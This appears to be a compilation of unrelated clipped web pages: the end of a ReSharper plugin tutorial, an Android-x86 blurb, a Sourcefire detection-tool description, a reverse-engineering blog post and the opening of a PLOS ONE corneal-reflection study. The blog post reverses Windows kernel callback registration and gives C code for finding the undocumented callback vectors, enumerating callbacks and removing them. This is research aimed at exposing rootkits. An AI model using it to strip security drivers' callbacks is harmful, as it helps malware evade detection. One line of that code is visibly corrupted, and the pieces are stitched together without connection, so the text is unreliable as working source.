  * Custom daemon stage implementation. Such approach offers better flexibility but it is a bit tedious to implement. It is well explained in Hadi Hariri’s article and there is a good sample located in the **‘SDK\Samples\CyclomaticComplexity\’** folder. 
  * Class inherited from `ElementProblemAnalyzer`. Allows implementing code issue analysis for specific AST nodes. Basically, all problem analyzers are invoked from daemon stage called `CSharpErrorStage`.

This article describes implementation of `ElementProblemAnalyzer` for
invocation of Reflection Type methods, such as **GetMember** , **GetProperty**
, **MakeGenericType** , argument static verification. As analyzer deals only
with a single node type \(`IInvocationExpression`\), it is better to use
generic counterpart – `ElementProblemAnalyzer<T>`. `ElementProblemAnalyzer`
has a single method to be overridden – the **Run** method with the following
signature:

`1`| `void` `Run(ITreeNode element, ElementProblemAnalyzerData data,
IHighlightingConsumer consumer); `  
---|---  
Problem analyzers are discovered by `CSharpErrorStage` based on
`ElementProblemAnalyzerAttribute` that serves as a contract to analyzer inputs
\(AST nodes only specified in attribute node types will be passed to the Run
method\) and result outputs \(highlights that are reported to highlighting
consumer\).

ReReflection plugin implements `ElementProblemAnalyzer` to validate reflection
API usages in the following way:

`1`| `[ElementProblemAnalyzer(``new``[] { ``typeof``(IInvocationExpression) },
`  
---|---  
`2`| `HighlightingTypes = ``new``[] {
``typeof``(ReflectionMemberNotFoundError),
``typeof``(IncorrectMakeGenericTypeHighlighting) })]`  
---|---  
`3`| `public` `class` `ReflectionProblemsAnalyzer :
ElementProblemAnalyzer<IInvocationExpression>`  
---|---  
`4`| `{`  
---|---  
`5`| `protected` `override` `void` `Run(IInvocationExpression element,
ElementProblemAnalyzerData data, IHighlightingConsumer consumer)`  
---|---  
`6`| `{`  
---|---  
`7`| `//Validation logic comes here`  
---|---  
`8`| `}`  
---|---  
`9`| `}`  
---|---  
Actual highlights are registered in `IHighlightingConsumer` with the
**ConsumeHighlighting** method or any extension method that is available. For
example, I have used the **AddHighlighting** method from
`CSharpHighlightingConsumerExtension`.

When working with AST node, usually, some type information is required. It can
be obtained by using the **Resolve** method. For example, if we need to get a
method that is being invoked, we need to invoke the
`expression.InvocationExpressionReference.Resolve()` method. In case of
successful resolution, ResolveResultWithInfo will contain type information in
the **DeclaredElement** property. For method invocations, it will be an
implementation of the IMethod interface. The easiest way to match a specific
method with the corresponding CLR **MethodInfo** is by using **XmlDocId**. It
is guaranteed to be unique for every type and member.

After the method is identified, it is possible to verify arguments passed
using IExpression.ConstantValue. Of course, validation works only if arguments
are specified as constant values =\).

The most complex part of the logic is reflected type identification.
Currently, only a part of functionality is implemented and it deals only with
method invocations exactly after the `typeof` expression. In the next
versions, I will support resolution based on the **Type** local variables.
Another possible case is when the **GetType** method is used. In such case,
validation logic will be slightly different because we will need to check
inherited classes.

The reflected type is resolved using the following method:

`1`| `private` `ReflectedTypeResolveResult
ResolveReflectedType(IInvocationExpression invocationExpression)`  
---|---  
`2`| `{`  
---|---  
`3`| `var referenceExpression = invocationExpression.InvokedExpression ``as`
`IReferenceExpression;`  
---|---  
`4`|  
---|---  
`5`| `if` `(referenceExpression != ``null``)`  
---|---  
`6`| `{`  
---|---  
`7`| `var typeOfExpression = referenceExpression.QualifierExpression ``as`
`ITypeofExpression;`  
---|---  
`8`| `if` `(typeOfExpression != ``null``)`  
---|---  
`9`| `{`  
---|---  
`10`| `var type =
typeOfExpression.ArgumentType.GetTypeElement<ITypeElement>();`  
---|---  
`11`| `if` `(type == ``null``)`  
---|---  
`12`| `{`  
---|---  
`13`| `return` `ReflectedTypeResolveResult.NotResolved;`  
---|---  
`14`| `}`  
---|---  
`15`|  
---|---  
`16`| `return` `new` `ReflectedTypeResolveResult(type,
ReflectedTypeResolution.Exact); `  
---|---  
`17`| `}`  
---|---  
`18`| `var methodInvocationExpression =
referenceExpression.QualifierExpression ``as` `IInvocationExpression;`  
---|---  
`19`| `if` `(methodInvocationExpression != ``null` `&&
IsReflectionTypeMethod(invocationExpression, ``"MakeGenericType"``))`  
---|---  
`20`| `{`  
---|---  
`21`| `var resolvedType = ResolveReflectedType(methodInvocationExpression);`  
---|---  
`22`| `if` `(resolvedType.ResolvedAs == ReflectedTypeResolution.Exact)`  
---|---  
`23`| `{`  
---|---  
`24`| `return` `new` `ReflectedTypeResolveResult(resolvedType.TypeElement,
ReflectedTypeResolution.ExactMakeGeneric);`  
---|---  
`25`| `}`  
---|---  
`26`| `}`  
---|---  
`27`| `}`  
---|---  
`28`|  
---|---  
`29`| `return` `ReflectedTypeResolveResult.NotResolved;`  
---|---  
`30`| `}`  
---|---  
The resolution logic will support more cases in upcoming versions of the
plugin.

## ReReflection Plugin

This section gives a short overview of features implemented in the plugin so
far.

### Analysis for Methods

Validations for methods are registered in `ReflectionValidatorsRegistry`.

`1`| `public` `static` `class` `ReflectionValidatorsRegistry`  
---|---  
`2`| `{`  
---|---  
`3`| `private` `static` `readonly` `Type _T = ``typeof` `(``object``);`  
---|---  
`4`| `private` `static` `readonly` `IDictionary<``string``, Func<IMethod,
ReflectionTypeMethodValidatorBase>> _registeredValidators = `  
---|---  
`5`| `new` `Dictionary<``string``, Func<IMethod,
ReflectionTypeMethodValidatorBase>>`  
---|---  
`6`| `{`  
---|---  
`7`| `//MakeGenericType`  
---|---  
`8`| `{ Methods.Of<Func<Type[], Type>>(() => _T.MakeGenericType).XmlDocId(),
(m) => ``new` `MakeGenericTypeValidator(m) },`  
---|---  
`9`|  
---|---  
`10`| `//GetProperty overloads`  
---|---  
`11`| `{ Methods.Of<Func<``string``, PropertyInfo>>(() =>
_T.GetProperty).XmlDocId(), (m) => ``new` `GetPropertyMethodValidator(m) },`  
---|---  
`12`| `{ Methods.Of<Func<``string``, BindingFlags, PropertyInfo>>(() =>
_T.GetProperty).XmlDocId(), (m) => ``new` `GetPropertyMethodValidator(m, 1)
},`  
---|---  
`13`| `//GetField`  
---|---  
`14`| `{ Methods.Of<Func<``string``, FieldInfo>>(() =>
_T.GetField).XmlDocId(), (m) => ``new` `GetFieldMethodValidator(m) },`  
---|---  
`15`| `{ Methods.Of<Func<``string``, BindingFlags, FieldInfo>>(() =>
_T.GetField).XmlDocId(), (m) => ``new` `GetFieldMethodValidator(m, 1) },`  
---|---  
`16`| `//GetMethod`  
---|---  
`17`| `{ Methods.Of<Func<``string``, MethodInfo>>(() =>
_T.GetMethod).XmlDocId(), (m) => ``new` `GetMethodMethodValidator(m) },`  
---|---  
`18`| `{ Methods.Of<Func<``string``, BindingFlags, MethodInfo>>(() =>
_T.GetMethod).XmlDocId(), (m) => ``new` `GetMethodMethodValidator(m, 1) }`  
---|---  
`19`| `};`  
---|---  
`20`|  
---|---  
`21`| `public` `static` `ReflectionTypeMethodValidatorBase
GetValidator(IMethod method)`  
---|---  
`22`| `{`  
---|---  
`23`| `Func<IMethod, ReflectionTypeMethodValidatorBase> validatorFactory;`  
---|---  
`24`| `if` `(_registeredValidators.TryGetValue(method.XMLDocId, ``out`
`validatorFactory))`  
---|---  
`25`| `{`  
---|---  
`26`| `return` `validatorFactory(method);`  
---|---  
`27`| `}`  
---|---  
`28`|  
---|---  
`29`| `return` `null``;`  
---|---  
`30`| `}`  
---|---  
`31`| `}`  
---|---  
The implementation can be easily extended to support all other **Type**
methods.

### Highlights

  * `AmbigiousMemberMatchError` – For cases when there are several method overloads with the same name in the reflected type.
  * `BindingFlagsCanBeSkippedWarning` – If `BindingFlags` specified as argument exactly matches the default value used by **Reflection**.  
<img src='img/Temp2_9945.png' width='613' height='44' alt='Writing a ReSharper
Plugin2_5' />

  * `IncorrectBindingFlagsError` – `BindingFlags` specified for the current type member are incorrect. For example, **BindingFlag.Static** is missed for a static member.  
<img src='img/Temp2_9950.png' width='918' height='49' alt='Writing a ReSharper
Plugin2_6' />

  * `IncorrectMakeGenericTypeHighlighting` – Highlighting for **MakeGenericType** misuse.
  * `ReflectionMemberNotFoundError` – Member with the specified name cannot be found in the reflected type.  
<img src='img/Temp2_9949.png' width='560' height='60' alt='Writing a ReSharper
Plugin2_8' />

### Quick Fixes

Quick fixes are based on the implemented highlights.

  * `CorrectBindingFlagsQuickFix` – Is based on `IncorrectBindingFlagsError`
  * `RemoveBindingFlagsQuickFix` – Is based on `BindingFlagsCanBeSkippedWarning`

To see how they work, watch this video.

## Conclusion

When eventually verification logic was implemented, I was a bit upset that I
did not have such plugin before. I hope that sometime in the future this
functionality will be included in ReSharper by default. As usual, the latest
plugin source code can be found at GitHub. Any issue encountered might also be
registered there.

# Android-x86 - Porting Android to x86

**Created:**| _5/27/2011 11:42:16 AM_  
---|---  
**Updated:**| _5/27/2011 11:42:22 AM_  
**Author:**| __  
**Tags:**| _android_  
  

### Android-x86 Project - Run Android on Your PC

  

This is a project to port Android open source project to x86 platform,
formerly known as "patch hosting for android x86 support". The original plan
is to host different patches for android x86 support from open source
community. A few months after we created the project, we found out that we
could do much more than just hosting patches. So we decide to create our code
base to provide support on different x86 platforms, and set up a git server to
host it. This is an open source project licensed under Apache Public License
2.0. If you think we did something great, consider making a donation.  
---

# Sourcefire VRT Labs

**Created:**| _4/22/2010 6:48:01 PM_  
---|---  
**Updated:**| _4/22/2010 6:48:33 PM_  
**Author:**| __  
**Tags:**| _security tools research iDS/iPS analysis new? awesome Defense_  
  

Sourcefire Vulnerability Research Team Labs

## VRT NRT

**Near Real-Time Detection \(NRT\)** is an undertaking by the Sourcefire VRT.

**Download:** snort-nrt.tar.gz

**The Presentation:** sfvrt-nrt.pdf

**The Reason:** Today's client side attack threats represent a boon for the
attacker in ways to obfuscate, evade, and hide their attacks methods. Adobe
PDF, Flash, Microsoft Office documents, and Javascript require a very deep
understanding of the file format, how its interpreted in the Browser, and
understanding of the byte code paths that some of these formats can generate.
To effectively handle some of these types of attacks it requires processing of
these files multiple times to deal with compression, obfuscation, program
execution, etc. This requires a new type of system to handle this type of
inspection. The NRT system allows for this deep file format understanding and
inspection.

Near Real-Time Detection \(NRT\) is the result of extensive research into
detection of attacks hidden inside numerous layers of compression,
obfuscation, and evasion techniques across multiple file formats. NRT in its
current form operates with the Snort detection engine, early stages here,
future versions won't rely on any one particular IPS for getting data from
network traffic. NRT addresses the issues with file format parsing by
separating selected file types from transmitted data, which are then passed to
additional detection engines either on local or distributed remote
system\(s\). The intention is for the system to be extensible and not
necessarily be a plugin for Snort.

While network forensic products and tool kits claim to already cover this
space, we have found them in limited use in the industry. The reason for this
is they go far to deep for most consumers to understand and utilize. With NRT
we wanted to bridge this gap between Forensics and IPS. It gives the security
analyst important data that can be acted on immediately, without the need to
spend hours and sometimes days, analyzing suspicious files. Full information
on potentially malicious conditions detected by the NRT system is saved
alongside the offending file.

The NRT detection engines provide alerting information back to Snort, which
enables Snort to generate event data that users will immediately recognize.
They also provide NRT specific alert mechanisms which allows for larger blocks
of data and information to be made available to the end user.

NRT has additional value in that it is also easily extensible to provide for
the detection of known files that traverse the network. For example, it is
able to detect a file that is taken from a file server and sent out of the
private network, thus alerting the security staff to a possible data leak.

Future development plans include providing automatic detection rule updates
that an IPS deployment like Snort can use to protect the private network along
with further enhancements aimed at data leak prevention. The system will also
use templates to describe file types and a simple rule language to detect
attacks

# Some notes on how to find out hidden callbacks « My infected computer

**Created:**| _6/21/2011 9:07:06 AM_  
---|---  
**Updated:**| _6/21/2011 9:07:06 AM_  
**Author:**| __  
**Tags:**| _Debugging reversing programming_  
  

## Some notes on how to find out hidden callbacks

Posted by zairon under General, Programming, Reverse Engineering, reverse code
engineering  
Leave a Comment

Can I blog an incomplete solution or an incomplete analysis? Why not\! That’s
the spirit of this blog entry\!

More than one year ago I started a project with Kayaker, we decided to write a
tool able to show hidden callbacks. If I remember correctly the idea was born
while we were putting our hands on a rootkit. In the same days I bet there
were many reversers around thinking the same thing because the same tool was
developed by others. As you can imagine our tool never see the light, but not
because there are similar tools available online; mostly because we are two
old lazy reversers\!

I bet you are thinking: why the hell are you writing this stupid intro? Well,
the tools I mentioned before were bugged and some months ago I discovered the
same thing, they are still bugged \(I don’t know if they have solved their
problems right now…\). Strange that no one else noticed it yet.  
Anyway, we won’t complete the tool, but with this blog post I would like to
tell you some notes about our investigations. At the beginning I wanted to
write a detailed and complete article about the subject, but I don’t know when
I’ll be able to end this project so I decided to spread out some of my notes.

It’s a sort of two minds work so credit goes to Kayaker too\!

The idea is to try to retrieve hidden callbacks that has been installed via
CmRegisterCallback, PsSetCreateProcessNotifyRoutine,
PsSetCreateThreadNotifyRoutine and PsSetLoadImageNotifyRoutine. After that it
would be good to deregister one or more of them.  
  
**Where to start?**  
First of all you have to understand what’s behind functions like
CmRegisterCallback, and others. Then, you’ll have something to work on. I’ll
start with CmRegisterCallback \(from XP SP2\), the function is used to
register a RegistryCallback routine, and I think the XP version is the most
simple one to fully undestand the principles behind the function. There are
some differencies between XP and 7 versions, but I think you’ll be able to
fully understand 7 structure too\! Here is the disassembled function \(without
useless parts of course\):

[code]

    487E6B  push   'bcMC'                          ; Pool Tag: "CMcb"
    487E70  xor    ebx, ebx
    487E72  push   38h                             ; NumberOfBytes: 0x38
    487E74  inc    ebx
    487E75  push   ebx                             ; PoolType: PAGEDPOOL
    487E76  call   ExAllocatePoolWithTag           ; ExAllocatePoolWithTag(x,x,x): allocates pool memory
    487E7B  mov    esi, eax                        ; eax is the pointer to the allocated pool memory, PCM_CALLBACK_CONTEXT_BLOCK
    487E7D  xor    edi, edi
    487E7F  cmp    esi, edi                        ; Is PCM_CALLBACK_CONTEXT_BLOCK a NULL pointer?
    487E81  jz     cmRegisterCallback_fails        ; yes: function fails...
    487E87  push   esi
    487E88  push   [ebp+Function]                  ; PEX_CALLBACK_FUNCTION, pointer to callback function
    487E8B  call   _ExAllocateCallBack             ; allocates and fill EX_CALLBACK_ROUTINE_BLOCK structure (more on this later...)
    487E90  cmp    eax, edi                        ; ExAllocateCallback success or not?
    487E92  mov    [ebp+PEX_CALLBACK_ROUTINE_BLOCK], eax ; store the pointer to the allocated pool memory
    487E95  jnz    short _ExAllocateCallBack_success
       ...                                         ; fill CM_CALLBACK_CONTEXT_BLOCK fields
    487EDC  mov    ebx, offset CmpCallBackVector
    487EE1  mov    [ebp+i], edi                    ; i = 0
    487EE4 try_next_slot:
    487EE4  push   edi                             ; OldBlock: NULL
    487EE5  push   [ebp+PEX_CALLBACK_ROUTINE_BLOCK] ; NewBlock with information to add
    487EE8  push   ebx                             ; CmpCallbackVector[i]
    487EE9  call   _ExCompareExchangeCallBack   ; try to *insert* the new callback inside CmpCallBack vector
    487EEE  test   al, al                       ;check the result...
    487EF0  jnz    short free_slot_has_been_found    ; jump if the vector has an empty space for the new entry
    487EF2  add    [ebp+i], 4                      ; i++, increase the counter
    487EF6  add    ebx, 4                          ; shift to the next item of the vector to check
    487EF9  cmp    [ebp+i], 190h                   ; is the end of the vector?
    487F00  jb     short try_next_slot             ; no: try another one. yes: no free slot!
       ...
    487F11 cmRegisterCallback_fails:
    487F11  mov    eax, STATUS_INSUFFICIENT_RESOURCES
    487F16 end_CmRegisterCallback:
       ...
    487F1A  retn   0Ch
       ...
    487F1D free_slot_has_been_found:
    487F1D  mov    eax, 1
    487F22  mov    ecx, offset _CmpCallBackCount   ; CmpCallBackCount: number of not NULL item inside the vector
    487F27  xadd   [ecx], eax                      ; there's a new callback, it increases the number of item inside the vector
    487F2A  xor    eax, eax
    487F2C  jmp    short end_CmRegisterCallback
    
[/code]

  
As you can see the idea behind the function is really simple\!  
Basically, it tries to add a new entry inside a vector named
CmpCallBackVector, and when the entry is correctly inserted the registration
process will end with a success.  
How do I know is it using a vector? The add instruction at 0x487EF6 represents
a clear clue, and the cmp at 0x487EF9 reveals the fixed length of the vector
\(the vector has 100 items \(0×190/4…\)\). Now that I have this information
I’m going to try to explain the entire procedure in detail. The algorithm
could be divided into 5 big blocks:

_1_ : try to allocate 0×38 bytes for a structure named
CM\_CALLBACK\_CONTEXT\_BLOCK  
 _2_ : try to allocate 0x0C bytes for a structure named
EX\_CALLBACK\_ROUTINE\_BLOCK  
 _3_ : fill CM\_CALLBACK\_CONTEXT\_BLOCK fields  
 _4_ : look for an empty slot, insert a sort of PEX\_CALLBACK\_ROUTINE\_BLOCK
in it and update CmpCallBackCount  
 _5_ : notify success or error and exit

 _Point \#1_ is pretty simple to understand, it’s only a call to
ExAllocatePoolWithTag.

To understand _point \#2_ you have to see what’s going on behind
ExAllocateCallBack procedure. Let’s start taking a look at it:

[code]

    52AB35  push   'brbC'                              ; Pool Tag: Cbrb
    52AB3A  push   0Ch                                 ; NumberOfBytes: 0x0C
    52AB3C  push   1                                   ; PoolType: PAGED_POOL
    52AB3E  call   ExAllocatePoolWithTag               ; alloc a EX_CALLBACK_ROUTINE_BLOCK structure
    52AB43  test   eax, eax                            ; ExAllocatePoolWithTag success or not?
    52AB45  jz     short _ExAllocateCallBack_fails
    52AB47  mov    ecx, [ebp+_pex_callback_function]   ; pointer to callback function (PEX_CALLBACK_FUNCTION)
    52AB4A  and    dword ptr [eax], 0                  ; 1° field: 0
    52AB4D  mov    [eax+4], ecx                        ; 2° field: _pex_callback_function
    52AB50  mov    ecx, [ebp+_pool_allocated_memory]   ; PCM_CALLBACK_CONTEXT_BLOCK
    52AB53  mov    [eax+8], ecx                        ; 3° field: _pcm_callback_context_block
    52AB56 _ExAllocateCallBack_fails:
       ...
    
[/code]

  
The procedure is used to allocate and fill a special structure:

typedef struct \_EX\_CALLBACK\_ROUTINE\_BLOCK  
\{  
EX\_RUNDOWN\_REF RundownProtect;  
PEX\_CALLBACK\_FUNCTION Function;  
PCM\_CALLBACK\_CONTEXT\_BLOCK Context;  
\} EX\_CALLBACK\_ROUTINE\_BLOCK, \*PEX\_CALLBACK\_ROUTINE\_BLOCK;

As you can see from the lines above the first field has been setted to 0 while
the other fields are filled with two pointers: the function to register and
the context containing info about the callback.

While _point \#3_ is just a series of mov instructions used to fill
CM\_CALLBACK\_ROUTINE\_BLOCK structure, _point \#4_ gives some usefull
information to us: CmpCallBackVector has 100 elements and this part of code is
used to scan the entire vector until an empty element is found. A failure
leads us to a non-registration of the callback. What happens when there’s a
empty slot inside the vector? The new entry will be added inside the vector.
Most of the job is done by the function named ExCompareExchangeCallBack, here
is the core of the function:

[code]

    52AB81  mov    eax, [ebp+CmpCallbackVector]    ; vector at the current position
    52AB84  mov    ebx, [eax]                      ; ebx is a PEX_CALLBACK_ROUTINE_BLOCK, the item could be NULL or not
    52AB86  mov    eax, ebx
    52AB88  xor    eax, [ebp+OldBlock]             ; OldBlock is NULL for a registration process
    52AB8B  mov    [ebp+current_pex_callback_routine_block], ebx
    52AB8E  cmp    eax, 7                          ; check used to see if the current item is NULL or not
    52AB91  ja     short loc_52ABB5                ; jump if not NULL
    52AB93  test   esi, esi                        ; is NewBlock NULL?
    52AB95  jz     short loc_52ABA1                ; jump if it's NULL
    52AB97  mov    eax, esi                        ; esi, NewBlock pointer (changed...)
    52AB99  or     eax, 7                          ; PAY ATTENTION HERE: or 7 !?!
    52AB9C  mov    [ebp+NewBlock], eax             ; change NewBlock pointer: NewBlock = NewBlock OR 7
    52AB9F  jmp    short loc_52ABA5
       ...
    52ABA5 mov    eax, [ebp+var_4]               ; here if CmpCallbackVector's item is null
    52ABA8  mov    ecx, [ebp+CmpCallbackVector]    ; current empty slot
    52ABAB  mov    edx, [ebp+NewBlock]             ; new pointer to insert
    52ABAE  cmpxchg [ecx], edx                     ; insert the new pointer inside the empty slot!
    52ABB1 cmp    eax, ebx
    52ABB3 jnz    short loc_52AB81
    52ABB5 and    ebx, not 7                     ; PAY ATTENTION HERE!
    52ABB8 cmp    ebx, [ebp+OldBlock]            ; here if CmpCallbackVector's item is not null
    52ABBB jnz    short loc_52AC19
    52ABBD test   ebx, ebx
    52ABBF jz     short loc_52AC15
    
[/code]

  
The routine contains some more things inside, but we can stop here with the
analysis because we have everything we need. If the pointer to the NewBlock to
insert is not NULL and there’s an available empty slot the pointer is inserted
inside the vector; after that CmpCallBackCount value will be updated
\(remember the snippet at the beginning of this blog entry?\).

The last part of the algorithm \(_point \#5_\) is a simple return with a
success or insuccess value:

[code]

    52AC15 mov    al, 1                          ; 1 means success, new item has been added to CmpCallbackVector
    52AC17 jmp    short loc_52AC29
    52AC19 test   esi, esi                      ; esi -> NewBlock
    52AC1B jz     short loc_52AC27
    52AC1D push   8
    52AC1F pop    edx
    52AC20 mov    ecx, esi
    52AC22 call   ExReleaseRundownProtectionEx   ; if esi is not null something went wrong...
    52AC27 xor    al, al                         ; 0 means insuccess, new item has not been added to CmpCallbackVector
    
[/code]

  
Ok, I think we have a general idea about the vector; each entry contains a
\*sort\* of pointer to a EX\_CALLBACK\_ROUTINE\_BLOCK, and to reveal all of
them you only have to scan the entire vector\!

To sum up, I have 3 possible scenes:  
1\. CmpCallbackVector’s item is empty:  
the new block will be inserted inside the vector. The added value is not the
one passed to ExCompareExchangeCallBack, but it’s the value modified by a “OR
7″ logic operation.  
2\. CmpCallbackVector’s item is full:  
it simply returns STATUS\_INSUCCESS and it will try with the next item of the
vector  
3\. Someone is working on the CmpCallbackVector’s item:  
the registration process reveals an interesting behaviour, just to be sure to
be the only one accessing the resource the system uses a lock mechanism. The
OR and AND operations are the core of that mechanism \(0x52AB99 and 0x52ABB5,
commented using “PAY ATTENTION HERE\!”\). If the current item of the vector is
not NULL the compare instruction at 0x52AB8E fails and the code flow continues
from 0x52ABB5. At this point the real address of the item is extracted
\(stored\_value AND NOT 7\) and compared with NULL; it’s obviously not NULL
and as you can see around 0x52AC22 the resource is released because someone
else is working on it. Now you should understand why the hell the system uses
to OR by 7 the value to add inside the vector.

With all this kind of information I can finally write a routine able to read
all the stored callbacks:

[code]

    cells = 0x64;                    // cells inside CmpCallbackVector
    nMod = *(DWORD*)_sysmodBuffer;   //     _sysmodBuffer filled by "ZwQuerySystemInformation(SystemModuleInformation..."
    for(i=0;i<cells;i++)
    {
       // take current item from CmpCallbackVector (look at the "& ~7" operation)
       pCBRB = (PEX_CALLBACK_ROUTINE_BLOCK)((*(DWORD*)(_CmpCallbackVectorAddress + 4*i )) & ~7);
       if (pCBRB != 0)
       {
          sysmodTmp = (PSYSTEM_MODULE_INFORMATION)((DWORD)_sysmodBuffer + 4);
          j = 0;
          while (jFunction) Base + (DWORD)sysmodTmp->Size) &&
                            ((DWORD)pCBRB->Function) > ((DWORD)sysmodTmp->Base))
             {
                // Callback has been found
                DbgPrint("Result: %LX: %s\r\n", pCBRB->Function, sysmodTmp->ImageName);
                break;
             }
             // get the next module
             sysmodTmp = (PSYSTEM_MODULE_INFORMATION)((DWORD)sysmodTmp + sizeof(SYSTEM_MODULE_INFORMATION));
             j = j + 1;
        }
    }
    
[/code]

  
It’s important to scan all the cells inside the vector\! One of the tool
available on the web fails to retrieve callbacks stored after an empty element
of the vector.

Well, the only thing to reveal about the code above is
CmpCallbackVectorAddress, the address of CmpCallBackVector. How can I locate
the exact address of CmpCallBackVector? Imho, that’s the hardest part of the
entire process\!  
  
**How to find CmpCallbackVector address**  
To develop a tool for a specific OS is pretty easy because the vector’s
address is hardcoded; it would be nice to discover an OS independent
technique.  
I think the most used approach is a byte-search based on a specific sequence
of bytes; it’s a nice idea but I don’t want to list every OS version known to
man inside my source code. We \(I and kayaker\) spent a lot of time over this
point, we both wanted to develop something that is not totally related to a
specific OS version; something that doesn’t require a series of “if OS == xxx”
statements inside the code. It’s quite impossible to write a non OS dependent
code but I believe it’s possible to remove some OS checks from the code.

We finally came up with two ideas, a practical and a theoretical idea. I hate
theory and mine is the practical solution of course. I think both ideas are
valid and just to be sure to find the right vector’s address we decided to
combine them inside a hypothetical tool, four eyes are always better than
two\!  
  
**The practical approach**  
My idea is really simple, since of the vector’s address is hardcoded you’ll
surely have it in two different parts of the code:

[code]

    PAGE:005392D0   BB 20 05 48 00   mov    ebx, offset _CmpCallBackVector
    .data:00480520                   _CmpCallBackVector db    0
    
[/code]

  
The address is inside two sections, PAGE and data. An \*xref-search\* is the
core of the idea\! It’s pretty stupid indeed, but from what I’ve seen so far
it works\!  
The pseudo code of my xref search is explained here, basically it scans the
entire PAGE section trying to locate the right address:

[code]

    callbackAddress = CmUnregisterCallback address in memory
    pagePointer = pointer_to_PAGE_section
    while (pagePointer < pointer_to_PAGE_section + size_of_PAGE_section)
    {
       value = get dword pointed by pagePointer
       if (value is inside DATA section)
          if ((pagePointer > callbackAddress) && (pagePointer < callbackAddress + range))
          {
             CmpCallbackVector = value
             exit!
          }
       pagePointer++
    }
    
[/code]

  
As you can imagine a simple xref-search is unable to find out the right value,
you need one more check. That’s why I added the line:

[code]

    if ((pagePointer > callbackAddress) && (pagePointer < callbackAddress + range))
    
[/code]

  
where callbackAddress is the address of CmUnregisterCallback. What does it
mean? Well, ‘pagePointer’ should be inside the first “range” bytes of
CmUnregisterCallback function. If both “if” statements are satisfied I’m
pretty sure about the vector’s address value.

There are still 2 points to clarify:  
\- what's range variable?  
\- why CmUnregisterCallback?

range is just a numerical value and you'll only have to decide a value to
assign to it. Under XP the first bytes of the CmUnregisterCallback function
are:

[code]

    PAGE:005392C3 8B FF           mov    edi, edi
    PAGE:005392C5 55              push   ebp
    PAGE:005392C6 8B EC           mov    ebp, esp
    PAGE:005392C8 51              push   ecx
    PAGE:005392C9 83 65 FC 00     and    [ebp+var_4], 0
    PAGE:005392CD 53              push   ebx
    PAGE:005392CE 56              push   esi
    PAGE:005392CF 57              push   edi
    PAGE:005392D0 BB 20 05 48 00  mov    ebx, offset _CmpCallBackVector
    
[/code]

  
In this specific case 16 could be a possible value… What about the other OSs?
Well, as I said before I think it's hard to write a universal piece of code,
but as far as I have seen it's possible to adjust the "range" to cover some
more OSs. I don't have Vista and 7 running on my system and I'm working on the
dead list only, but I think 148 could be a nice value to set and it should
cover all the OSs. If you are still reading and you have Vista or 7, can you
confirm that?  
One more thing about the search pattern: I use CmUnregisterCallback because
\(inspecting all the OSs\) CmRegisterCallback doesn't always store the
CmpCallbackVector value inside the main routine, but it hides it under some
calls. i.e. look at CmRegisterCallback from 7:

[code]

    PAGE:0065712A mov  edi, edi
    PAGE:0065712C push ebp
    PAGE:0065712D mov  ebp, esp
    PAGE:0065712F push [ebp+Cookie]
    PAGE:00657132 mov  eax, offset stru_4FFDF0
    PAGE:00657137 push 1
    PAGE:00657139 push [ebp+Context]
    PAGE:0065713C push [ebp+Function]
    PAGE:0065713F call sub_657153                 ; It's everything inside this call!!!
    PAGE:00657144 pop  ebp
    PAGE:00657145 retn 0Ch
    
[/code]

  
It’s much more complex to attack a procedure with sub-routines, don't you
think? That's why I did opt for CmUnregisterCallback.  
  
**What about the PsSet\* functions?**  
At the beginning of this blog post I mentioned some more functions, it's time
to spend some words for them too.

The functions are:  
PsSetCreateProcessNotifyRoutine  
PsSetCreateThreadNotifyRoutine  
PsSetLoadImageNotifyRoutine

There are some similarities between CmRegisterCallback and the new three
functions: they all register something, they all use a vector to store the
information, and they all use the same function\! YES, to register a function
they use the same scheme:

1\. get the address of a specific vector  
2\. try to insert the new item inside the vector calling
ExCompareExchangeCallBack

Just to clarify everything look at this snippet, taken from
PsSetCreateThreadNotifyRoutine:

[code]

    4ED7C4  mov    esi, offset _threadVector   ; the vector
    4ED7C9  push   0
    4ED7CB  push   ebx
    4ED7CC  push   esi
    4ED7CD  call   _ExCompareExchangeCallBack   ; the function
    4ED7D2  test   al, al
    4ED7D4  jnz    short loc_4ED7F3
    4ED7D6  add    edi, 4
    4ED7D9  add    esi, 4
    4ED7DC  cmp    edi, 20h   ; the check over the number of items inside the vector
    4ED7DF  jb     short loc_4ED7C9
    
[/code]

  
The only different thing is the length of the vector:  
\_callbackVector: 0×64 slots  
\_processVector: 0×8 slots  
\_threadVector: 0×8 slots  
\_imageVector: 0×8 slots

Well, you can use all the info I gave you about CmRegisterCallback for these
three functions too\! I think you'll be able to retrieve all the hidden
callbacks, and -just in case- unregister a callback. There are so many ways
from the dirty one \(put NULL inside the vector's slot\) to the right one
\(calling the right unregister function\)… you only have to decide\!

# PLOS ONE: Identifiable Images of Bystanders Extracted from Corneal
Reflections

**Created:**| _12/30/2013 9:08:33 PM_  
---|---  
**Updated:**| _12/30/2013 9:08:33 PM_  
**Author:**| __  
**Tags:**| _Forensics image-processing imagery intelligence_  
  

# **I** dentifiable Images of Bystanders Extracted from Corneal
Reflections****

### Introduction****

Cameras are routinely seized as evidence during criminal investigations
\[1\]**.** Images of people retrieved from these cameras may be used to piece
together networks of associates, or to link individuals to particular
locations**.** In particular, it may be desirable to identify the
photographer, or other individuals who were present at the scene but were not
directly captured in the photograph**.** Bystander identification may be
especially important when the images record criminal activity, as when hostage
takers or child sex abusers photograph their victims \[2\] \[3\]**.**

Previous psychological research has established that humans can identify faces
from extremely poor quality images, when they are familiar with the faces
concerned \[4\]–\[7\]**.** For example, Yip & Sinha \[7\] found that viewers
could identify blurred photographs of familiar faces with equivalent image
resolutions as low as 7×10 pixels \(see Figure 1\)**.** Here we exploit the
robustness of familiar face recognition to mine high-resolution portrait
photographs for latent information**.** Specifically, we show that the faces
of hidden bystanders can be identified via reflections in the eyes of
photographic subjects**.** Corneal analysis has previously been used to
recover coarse aspects of the physical environmental, such as ambient lighting
conditions \[8\] \[9\]**.** The present findings demonstrate that corneal
reflections can reveal surprisingly rich information about the social
environment too**.**

<img src='img/Temp2_6048.png' alt='thumbnail' />

**Figure 1**.** A well-known American**.****

Readers with an interest in current affairs will recognize him from this poor
quality image**.** The face in this image measures 16 pixels wide ×20 pixels
high**.** \(Photo credit: Steve Jurvetson\).

doi:10.1371/journal.pone.0083325**.** g001

Reflection images form readily on the cornea of the eye, potentially revealing
features of the subject's surroundings**.** Indeed, the pupil of the eye
derives its name from a reflected onlooker, _pupilla_ being Latin for young
girl \[10\]**.** In practice, the reflection image often extends beyond the
pupil and into the iris, capturing regions of the environment that were not
